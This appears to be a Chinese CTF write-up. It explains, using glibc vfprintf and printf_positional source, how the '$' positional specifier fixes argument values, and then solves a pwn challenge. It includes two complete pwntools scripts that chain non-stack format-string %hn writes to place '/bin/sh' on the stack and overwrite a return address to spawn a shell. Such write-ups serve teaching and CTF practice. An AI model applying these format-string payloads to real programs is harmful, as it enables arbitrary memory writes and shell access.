STEP4_TABLE;

int is_negative;
union
{
unsigned long long int longlong;
unsigned long int word;
} number;
int base;
CHAR_T *string; /* Pointer to argument string. */

/* Fill variables from values in struct. */
int alt = specs[nspecs_done].info.alt;
int space = specs[nspecs_done].info.space;
int left = specs[nspecs_done].info.left;
int showsign = specs[nspecs_done].info.showsign;
int group = specs[nspecs_done].info.group;
int is_long_double __attribute__ ((unused))
= specs[nspecs_done].info.is_long_double;
int is_short = specs[nspecs_done].info.is_short;
int is_char = specs[nspecs_done].info.is_char;
int is_long = specs[nspecs_done].info.is_long;
int width = specs[nspecs_done].info.width;
int prec = specs[nspecs_done].info.prec;
int use_outdigits = specs[nspecs_done].info.i18n;
char pad = specs[nspecs_done].info.pad;
CHAR_T spec = specs[nspecs_done].info.spec;

CHAR_T *workend = work_buffer + WORK_BUFFER_SIZE;

/* Fill in last information. */
if (specs[nspecs_done].width_arg != -1)
{
/* Extract the field width from an argument. */
specs[nspecs_done].info.width =
args_value[specs[nspecs_done].width_arg].pa_int;

if (specs[nspecs_done].info.width < 0)
/* If the width value is negative left justification is
selected and the value is taken as being positive. */
{
specs[nspecs_done].info.width *= -1;
left = specs[nspecs_done].info.left = 1;
}
width = specs[nspecs_done].info.width;
}

if (specs[nspecs_done].prec_arg != -1)
{
/* Extract the precision from an argument. */
specs[nspecs_done].info.prec =
args_value[specs[nspecs_done].prec_arg].pa_int;

if (specs[nspecs_done].info.prec < 0)
/* If the precision is negative the precision is
omitted. */
specs[nspecs_done].info.prec = -1;

prec = specs[nspecs_done].info.prec;
}

/* Process format specifiers. */
while (1)
{
extern printf_function **__printf_function_table;
int function_done;

if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs[nspecs_done].ndata_args
* sizeof (const void *));

/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

/* Call the function. */
function_done = __printf_function_table[(size_t) spec]
(s, &specs[nspecs_done].info, ptr);

if (function_done != -2)
{
/* If an error occurred we don't have information
about # of chars. */
if (function_done < 0)
{
/* Function has set errno. */
done = -1;
goto all_done;
}

done_add (function_done);
break;
}
}

JUMP (spec, step4_jumps);

#define process_arg_data args_value[specs[nspecs_done].data_arg]
#define process_arg_int() process_arg_data.pa_int
#define process_arg_long_int() process_arg_data.pa_long_int
#define process_arg_long_long_int() process_arg_data.pa_long_long_int
#define process_arg_pointer() process_arg_data.pa_pointer
#define process_arg_string() process_arg_data.pa_string
#define process_arg_unsigned_int() process_arg_data.pa_u_int
#define process_arg_unsigned_long_int() process_arg_data.pa_u_long_int
#define process_arg_unsigned_long_long_int() process_arg_data.pa_u_long_long_int
#define process_arg_wchar_t() process_arg_data.pa_wchar
#define process_arg_wstring() process_arg_data.pa_wstring
process_arg ();
process_string_arg ();
#undef process_arg_data
#undef process_arg_int
#undef process_arg_long_int
#undef process_arg_long_long_int
#undef process_arg_pointer
#undef process_arg_string
#undef process_arg_unsigned_int
#undef process_arg_unsigned_long_int
#undef process_arg_unsigned_long_long_int
#undef process_arg_wchar_t
#undef process_arg_wstring

LABEL (form_float):
LABEL (form_floathex):
{
const void *ptr
= (const void *) &args_value[specs[nspecs_done].data_arg];
if (__glibc_unlikely ((mode_flags & PRINTF_LDBL_IS_DBL) != 0))
{
specs[nspecs_done].data_arg_type = PA_DOUBLE;
specs[nspecs_done].info.is_long_double = 0;
}
SETUP_FLOAT128_INFO (specs[nspecs_done].info);

int function_done
= __printf_fp_spec (s, &specs[nspecs_done].info, &ptr);
if (function_done < 0)
{
/* Error in print handler; up to handler to set errno. */
done = -1;
goto all_done;
}
done_add (function_done);
}
break;

LABEL (form_unknown):
{
unsigned int i;
const void **ptr;

ptr = alloca (specs[nspecs_done].ndata_args
* sizeof (const void *));

/* Fill in an array of pointers to the argument values. */
for (i = 0; i < specs[nspecs_done].ndata_args; ++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

/* Call the function. */
function_done = printf_unknown (s, &specs[nspecs_done].info,
ptr);

/* If an error occurred we don't have information about #
of chars. */
if (function_done < 0)
{
/* Function has set errno. */
done = -1;
goto all_done;
}

done_add (function_done);
}
break;
}

/* Write the following constant string. */
outstring (specs[nspecs_done].end_of_fmt,
specs[nspecs_done].next_fmt
- specs[nspecs_done].end_of_fmt);
}
all_done:
scratch_buffer_free (&argsbuf);
scratch_buffer_free (&specsbuf);
return done;
}

解析流程

无 “$”符

没有”$”符,程序就会在这里跳来跳起,完成全部解析

我们来表中是什么
image.png

关于LABEL (form_number)的源码在上文中有,这里不再赘述。它的功能就顺序往参数里写数据,并且是实时的。

关于LABEL(unknown)的源码上文也有,功能也就是检测当前字符是否为终止符,是则结束,不是则继续。

有”$” 符

在vfprintf的do循环中会获取当前字符,并进行一次跳表的寻找找到对应字符的操作函数,跳转执行。
如果遇到$符,或者遇到unknown的字符,就会调用printf_positional,去做复杂的字符串的解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
 union printf_arg *args_value;
int *args_size;
int *args_type;
{
/* Calculate total size needed to represent a single argument
across all three argument-related arrays. */
size_t bytes_per_arg
= sizeof (*args_value) + sizeof (*args_size) + sizeof (*args_type);
if (!scratch_buffer_set_array_size (&argsbuf, nargs, bytes_per_arg))
{
done = -1;
goto all_done;
}
args_value = argsbuf.data;
/* Set up the remaining two arrays to each point past the end of
the prior array, since space for all three has been allocated
now. */
args_size = &args_value[nargs].pa_int;
args_type = &args_size[nargs];
memset (args_type, (mode_flags & PRINTF_FORTIFY) != 0 ? '\xff' : '\0',
nargs * sizeof (*args_type));
}

/* XXX Could do sanity check here: If any element in ARGS_TYPE is
still zero after this loop, format is invalid. For now we
simply use 0 as the value. */

/* Fill in the types of all the arguments. */
for (cnt = 0; cnt < nspecs; ++cnt)
{
/* If the width is determined by an argument this is an int. */
if (specs[cnt].width_arg != -1)
args_type[specs[cnt].width_arg] = PA_INT;

/* If the precision is determined by an argument this is an int. */
if (specs[cnt].prec_arg != -1)
args_type[specs[cnt].prec_arg] = PA_INT;

switch (specs[cnt].ndata_args)
{
case 0: /* No arguments. */
break;
case 1: /* One argument; we already have the
type and size. */
args_type[specs[cnt].data_arg] = specs[cnt].data_arg_type;
args_size[specs[cnt].data_arg] = specs[cnt].size;
break;
default:
/* We have more than one argument for this format spec.
We must call the arginfo function again to determine
all the types. */
(void) (*__printf_arginfo_table[specs[cnt].info.spec])
(&specs[cnt].info,
specs[cnt].ndata_args, &args_type[specs[cnt].data_arg],
&args_size[specs[cnt].data_arg]);
break;
}
}

在这段代码中,printf_positional 把相关的参数 保存成了副本。后续对格式化字符串的参数处理,都是通过副本做处理。
所以说,以第一个$符或者unknown的字符为界,前面通过vfprintf_internal 解析处理,后面通过printf_positional处理。

小结

如果我们想一次格式化字符串去栈上做任意地址写,需要利用这个特性。假设我们有一个非栈上格式化字符串的机会,栈上存在如下数据:
$$
\begin{flalign*}
A &=> B => C & \\
B &=> C & \\
&\ldots & \\
D &=> E &
\end{flalign*}
$$
如果我们需要修改D的值为F, 那么我们必须先把B 的值改D,然后在通过B这个偏移去修改。 假设A 的偏移为8,
这部分fmt 就是 :

1
2
3
4
5
6
7
payload1 = b"%p"*6
payload1 += "%{}c%hn".format(D_low-60).encode()
payload1 += "%{}c%9$hn".format(E_low-D_low+60).encode()
# 如果用$符写,当然不能这么用,因为会使第二次写入失败
# 以下是反面教材,属于想得很美
payload2 = "%{}c%8$hn".format(D_low).encode()
payload2 += "%{}c%9$hn".format(E_low-D_low).encode()

根据上文的介绍,我们不难理解,printf 在处理这些字符串其实是按顺序来的。第一个%n两个payload都是可以修改成功的,但是第二个%n payload2 是 写不上的。或者说它其实是往C中写了数据。
因为$符,让payload2 在第一个%n处就已经把所有的参数都固定了,修改后,栈上是变量,但是后续的写入,不会同步这个变化。而payload1是在第二个 %n 才固定参数,这个时候,第9个参数已经变了,所以可以写成功。

例题

前言

一个平常的下午,学妹让我帮忙看看题。起初我不以为意,吃完晚饭才开始看。然后就写到了1点钟。感觉自己的思路还是太丑陋,不优雅。于是想起了一个格式化字符串的极限利用。
一次有趣的格式化字符串漏洞利用 | ZIKH26’s Blog
开始研究

ida分析

main函数

main函数

功能非常的简单,

  1. 循环3次调用talk,需要控制flag的值(后续再看)
  2. atk判断,成功则调用he()

先看he()里有啥。

he函数

he函数

这里建议看汇编,

  1. system的出现,让人思路开朗
  2. command是-0xe,也就是要控制rbp-0xe
  3. 注意lea 和 mov 的区别,通过这个方法的话,必须要把”/bin/sh”写在栈上

一般揣测一下出题人的想法,肯定是最后要返回到这里了。

talk函数

talk

重点来了,

  1. 非栈上格式化字符串,每次只读0x20字节
  2. flag初始是0,talk会把它变成1,想办法置0
  3. 返回到了my_read,继续追踪

my_read

看看bss段上,这些变量的位置

bss

atk在flag上面,那么就可以利用my_read把flag设置成0 ,只要每次都输入8字节就可以.

思路分析

1.通过格式化字符串去修改command,和返回地址.让程序最后跳转执行,getshell
2.但是,常规的思路,需要的格式化次数不止3次。

  1. %p泄露栈地址
  2. 把rbp链入(因为此题目栈上无诸葛连弩,要自己建)
  3. 修改啥也不行,没次数了

3.所以笔者在这里用了一些奇怪的方法。

  1. 笔者开始想,因为i也是在栈上的,所以我可以修改i来增加次数
  2. 但是,恰因如此,如果修改rbp,那么会影响下次循环对i的判断,
  3. 于是笔者又注意到栈上有很多0,控制好rbp,其实也是可以的 。
  4. 所以在笔者的精心的构造下,完成了10次格式化字符串的修改。
  5. 比较重要的就是两个$n的运用。一个把sh写在了栈上,一个把最后修改返回地址前的,rbp-0x4 修改好了.

4.笔者又再反思,可不可以利用格式化字符串的极限,两次把所需的改完.答案是可以.

exp

10次格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from esy import *
context.log_level="debug"
#context.terminal=["tmux","splitw","-h","-l","66%"]
io,elf=loadfile("./pwn")


# 1 leak stack
payload=b"%8$p"
io.sendafter("...\n",payload)
rbp=int(io.recv(14),16)-0x20
#logv("rbp",hex(rbp))
rbp_low=rbp & 0xffff
fmt_low=0x4040c0 & 0xffff
io.sendafter("battle!",b"a"*8)

#2,3 rbp链入,修改rbp
payload = '%{}c%6$hn'.format(rbp_low).encode()
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)

payload = '%{}c%47$hn\x00'.format(rbp_low+0x38).encode()
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)
#4,5,6 'sh'写入栈,修改rbp,把rbp+0x3e-4 链入并置0
payload = '%{}c%8$n\x00'.format(0x6873).encode() # 1 canshuxieshangl

io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)

payload = '%{}c%47$hn'.format(rbp_low+0x58).encode()
payload+= '%{}c%6$hn\x00'.format((0x38+0xe-4-0x58+0x10000)%0x10000).encode() # 0
print(5)
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)

payload = '%{}c%47$n\x00'.format(0x00).format() # 1
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)


######7 把rbp再次链入
payload = '%{}c%6$hn\x00'.format(rbp_low).encode()
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)
#####8 修改rbp 为rbp_low+0x38+0xe
payload = '%{}c%47$hn\x00'.format(rbp_low+0x38+0xe).encode()
payload = payload.ljust(0x20,b'\x00')
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)
gdb.attach(io,"b *0x401332")
##### 9 把rbp+8 链入
payload = '%{}c%6$hn\x00'.format(rbp_low+8).encode()
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)
##### 10 修改返回地址
payload = '%{}c%47$hn'.format(0x1274).encode()
print(len(payload))
payload +=b'/bin/sh\x00'
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)
io.interactive()


优雅至极

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from esy import *
context.log_level="debug"
#context.terminal=["tmux","splitw","-h","-l","66%"]
io,elf=loadfile("./pwn")
gdb.attach(io,"b *0x401332")

# 1 leak stack
payload=b"%8$p"
io.sendafter("...\n",payload)

rbp=int(io.recv(14),16)-0x20
#logv("rbp",hex(rbp))
rbp_low=rbp & 0xffff
fmt_low=0x4040c0 & 0xffff
io.sendafter("battle!",b"a"*8)

#2 gouzao
payload = b"%p" * 4
payload += '%{}c%hn'.format(rbp_low+0x20-0x4-40).encode()
payload+= '%{}c%47$hn'.format((0x6873-(rbp_low+0x20)+0xe)).encode()
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)

# 3
payload = b"%p" *4
payload+= '%{}c%hn'.format(rbp_low+0x12-40).encode()
payload+= '%{}c%47$hn'.format((0x1274-(rbp_low+0x38)+0x30+0x10000)%0x10000).encode()
io.sendafter("...\n",payload)
io.sendafter("battle!",b"a"*8)

io.interactive()